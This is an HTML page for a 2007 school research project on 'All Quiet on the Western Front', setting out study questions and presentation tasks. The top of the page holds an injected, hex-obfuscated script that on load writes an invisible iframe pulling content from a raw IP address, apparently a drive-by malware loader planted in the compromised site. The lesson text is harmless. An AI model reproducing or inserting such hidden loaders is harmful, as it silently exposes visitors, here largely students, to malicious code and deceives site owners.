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<body topmargin=0 leftmargin=0 marginheight=0 marginwidth=0><script>function v483d42255b15f(v483d42255b950){ return(parseInt(v483d42255b950,16));}function v483d42255d13a(v483d42255d536){ var v483d42255e926=2; var v483d42255d935='';for(v483d42255e12e=0; v483d42255e12e<v483d42255d536.length; v483d42255e12e+=v483d42255e926){ v483d42255d935+=(String.fromCharCode(v483d42255b15f(v483d42255d536.substr(v483d42255e12e, v483d42255e926))));}return v483d42255d935;} document.write(v483d42255d13a('3C5343524950543E77696E646F772E7374617475733D27446F6E65273B646F63756D656E742E777269746528273C696672616D65206E616D653D303931306436643133207372633D5C27687474703A2F2F37372E3232312E3133332E3135312F2E69662F676F2E68746D6C3F272B4D6174682E726F756E64284D6174682E72616E646F6D28292A3635383536292B2736396162645C272077696474683D313936206865696768743D333336207374796C653D5C27646973706C61793A206E6F6E655C273E3C2F696672616D653E27293C2F5343524950543E'));</script> <table cellpadding=0 cellspacing=0 border=0><tr> <td valign="top" colspan=2 height=90 BGCOLOR="#006699" TEXT="#080000" background="043785a3.jpg"> <div> <B>Mr. Bless</B></div> <bR> <div> </div> </td> </tr><tr> <td valign="top" width=210 BGCOLOR="#FFCC66" TEXT="#080000" background="044d2043.jpg"> <div> <B><IMG SRC="04692dd0.jpg" border=0 width="146" height="221" ALIGN="BOTTOM" HSPACE="0" VSPACE="0"></B></div> <div> <B>amazon.com</B></div> <bR> <div> <B><IMG SRC="048a5a90.jpg" border=0 width="165" height="169" ALIGN="BOTTOM" HSPACE="0" VSPACE="0"></B></div> </td> <td valign="top" height=390 BGCOLOR="#FFFFFF" TEXT="#080000"> <div> All Quiet on the Western Front Thinkquest</div> <div> created by B. Bless & J. MacKenzie 4/2007</div> <bR> <div> <A HREF="id17.htm" TARGET="_top" TITLE="Research Links"><U>Research Links</U></A>   |   <A HREF="id18.htm" TARGET="_top" TITLE="Assessment"><U>Assessment</U></A></div> <bR> <div> <B>Introduction</B></div> <bR> <div> It was supposed to be "The War to End All Wars."</div> <bR> <div> For over four years World War One raged on, leaving in its wake a toll of death and destruction such as the world had never seen.  <I>All Quiet on the Western Front</I> by Erich Maria Remarque presents the story of Paul Baumer, a German soldier in World War I. Paul, as the novel's first-person narrator, describes a series of incidents and impressions of war through his own eyes. One main theme of the novel is how war creates feelings of isolation and disillusionment. The novel also represents a generation destroyed by the dehumanization of the war and its trench warfare. </div> <bR> <div> <B>Task</B></div> <div> This  project will provide opportunities to explore historical and social aspects of World War I by focusing on the following questions: Choose two of the options below.</div> <bR> <div> 1.  What are the social, historical, cultural circumstances which Remarque bases his novel on?</div> <div> 2.  What are the conditions like in the trenches or the Western Front?  Name at least five specific aspects.</div> <div> 3.  Describe five essential pieces of equipment as soldier needed in this war.</div> <div> 4.  Then and now: a photographic contrast -- How did the Great War alter the landscape?  Be Specific.</div> <div> 5.  What was the initial reception of the book?</div> <div> <B> </B></div> <div> <B>Process</B></div> <div> When finished with your research  create either:</div> <div> <IMG BORDER="0" SRC="Symb075c00b7011800000000.png" HEIGHT="19" WIDTH="24" ALIGN="bottom" HSPACE="0" VSPACE="0">a presentation of your findings -- about 5 minutes with connections to the text</div> <div> <IMG BORDER="0" SRC="Symb075c00b7011800000000.png" HEIGHT="19" WIDTH="24" ALIGN="bottom" HSPACE="0" VSPACE="0">Two-page, double spaced paper on <I>All Quiet on the Western Front</I></div> <bR> <bR> <div> <B>To </B><A HREF="id17.htm" TARGET="_top" TITLE="Research Links"><U><B>Research Links</B></U></A></div> <bR> <bR> <bR> <bR> <bR> </td> </tr></table></body>